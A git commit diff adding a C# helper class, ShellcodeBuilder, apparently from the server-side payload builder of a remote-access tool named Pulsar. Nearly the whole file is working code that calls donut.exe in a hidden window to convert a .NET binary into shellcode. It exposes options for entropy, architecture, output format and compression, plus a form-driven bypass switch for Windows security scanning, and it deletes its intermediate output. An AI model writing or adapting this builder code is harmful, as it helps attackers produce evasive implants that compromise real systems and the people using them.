initial commit
This commit is contained in:
@@ -0,0 +1,174 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
using Pulsar.Server.Forms;
|
||||
|
||||
namespace Pulsar.Server.Helper
|
||||
{
|
||||
public enum EntropyLevel
|
||||
{
|
||||
None = 1,
|
||||
Random = 2,
|
||||
RandomSymmetric = 3
|
||||
}
|
||||
|
||||
public enum Architecture
|
||||
{
|
||||
x86 = 1,
|
||||
amd64 = 2,
|
||||
Both = 3
|
||||
}
|
||||
|
||||
public enum Format
|
||||
{
|
||||
Binary = 1,
|
||||
Base64 = 2,
|
||||
C = 3,
|
||||
Ruby = 4,
|
||||
Python = 5,
|
||||
Powershell = 6,
|
||||
CSharp = 7,
|
||||
Hex = 8
|
||||
}
|
||||
|
||||
public enum Compress
|
||||
{
|
||||
None = 1,
|
||||
aPLib = 2,
|
||||
LZNT1 = 3,
|
||||
Xpress = 4
|
||||
}
|
||||
|
||||
public enum Bypass
|
||||
{
|
||||
None = 1,
|
||||
Abort = 2,
|
||||
Continue = 3
|
||||
}
|
||||
|
||||
public enum Headers
|
||||
{
|
||||
Overwrite = 1,
|
||||
Keep = 2
|
||||
}
|
||||
|
||||
public static class ShellcodeBuilder
|
||||
{
|
||||
public static byte[] GenerateShellcode(
|
||||
string binaryPath,
|
||||
string entryClass,
|
||||
string entryMethod,
|
||||
string outputBinPath,
|
||||
bool deleteOutput = true,
|
||||
string donutExePath = "",
|
||||
string clrVersion = "",
|
||||
EntropyLevel entropy = EntropyLevel.RandomSymmetric,
|
||||
Architecture arch = Architecture.Both,
|
||||
Format format = Format.Binary,
|
||||
Headers headers = Headers.Overwrite
|
||||
)
|
||||
{
|
||||
if (string.IsNullOrEmpty(donutExePath))
|
||||
donutExePath = Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "donut.exe");
|
||||
|
||||
if (!File.Exists(donutExePath))
|
||||
throw new FileNotFoundException("donut.exe not found", donutExePath);
|
||||
|
||||
if (!File.Exists(binaryPath))
|
||||
throw new FileNotFoundException("Input Binary not found", binaryPath);
|
||||
|
||||
Compress compression = GetCompressionFromForm();
|
||||
Bypass bypass = GetBypassFromForm();
|
||||
|
||||
List<string> args = new List<string>
|
||||
{
|
||||
$"-e {(int)entropy}",
|
||||
$"-a {(int)arch}",
|
||||
$"-i {binaryPath}",
|
||||
$"-c {entryClass}",
|
||||
$"-m {entryMethod}",
|
||||
$"-o {outputBinPath}",
|
||||
$"-f {(int)format}",
|
||||
$"-z {(int)compression}",
|
||||
$"-b {(int)bypass}",
|
||||
$"-k {(int)headers}",
|
||||
};
|
||||
|
||||
if (!string.IsNullOrEmpty(clrVersion))
|
||||
args.Add($"-r {clrVersion}");
|
||||
|
||||
ProcessStartInfo psi = new ProcessStartInfo
|
||||
{
|
||||
FileName = donutExePath,
|
||||
Arguments = string.Join(" ", args),
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardError = true,
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
};
|
||||
|
||||
using (Process proc = Process.Start(psi))
|
||||
{
|
||||
proc.WaitForExit();
|
||||
if (proc.ExitCode != 0)
|
||||
{
|
||||
string stdout = proc.StandardOutput.ReadToEnd();
|
||||
string stderr = proc.StandardError.ReadToEnd();
|
||||
throw new InvalidOperationException($"Donut failed (exit {proc.ExitCode})\nSTDOUT: {stdout}\nSTDERR: {stderr}");
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
byte[] bytes = File.ReadAllBytes(outputBinPath);
|
||||
if (deleteOutput)
|
||||
File.Delete(outputBinPath);
|
||||
|
||||
return bytes;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new InvalidOperationException($"Failed to read generated shellcode: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private static Compress GetCompressionFromForm()
|
||||
{
|
||||
FrmBuilder form = GetBuilderForm();
|
||||
string compressionText = form.comboBox1.Text;
|
||||
return ConvertCompressionTextToEnum(compressionText);
|
||||
}
|
||||
|
||||
private static Bypass GetBypassFromForm()
|
||||
{
|
||||
FrmBuilder form = GetBuilderForm();
|
||||
return form.checkBox2.Checked ? Bypass.Continue : Bypass.None;
|
||||
}
|
||||
|
||||
private static FrmBuilder GetBuilderForm()
|
||||
{
|
||||
foreach (Form form in Application.OpenForms)
|
||||
{
|
||||
if (form is FrmBuilder builderForm)
|
||||
return builderForm;
|
||||
}
|
||||
|
||||
throw new InvalidOperationException("FrmBuilder form not found or not accessible");
|
||||
}
|
||||
|
||||
private static Compress ConvertCompressionTextToEnum(string compressionText)
|
||||
{
|
||||
return compressionText switch
|
||||
{
|
||||
"None" => Compress.None,
|
||||
"aPLib" => Compress.aPLib,
|
||||
"LZNT1" => Compress.LZNT1,
|
||||
"Xpress" => Compress.Xpress,
|
||||
_ => throw new ArgumentException($"Invalid compression type: {compressionText}")
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user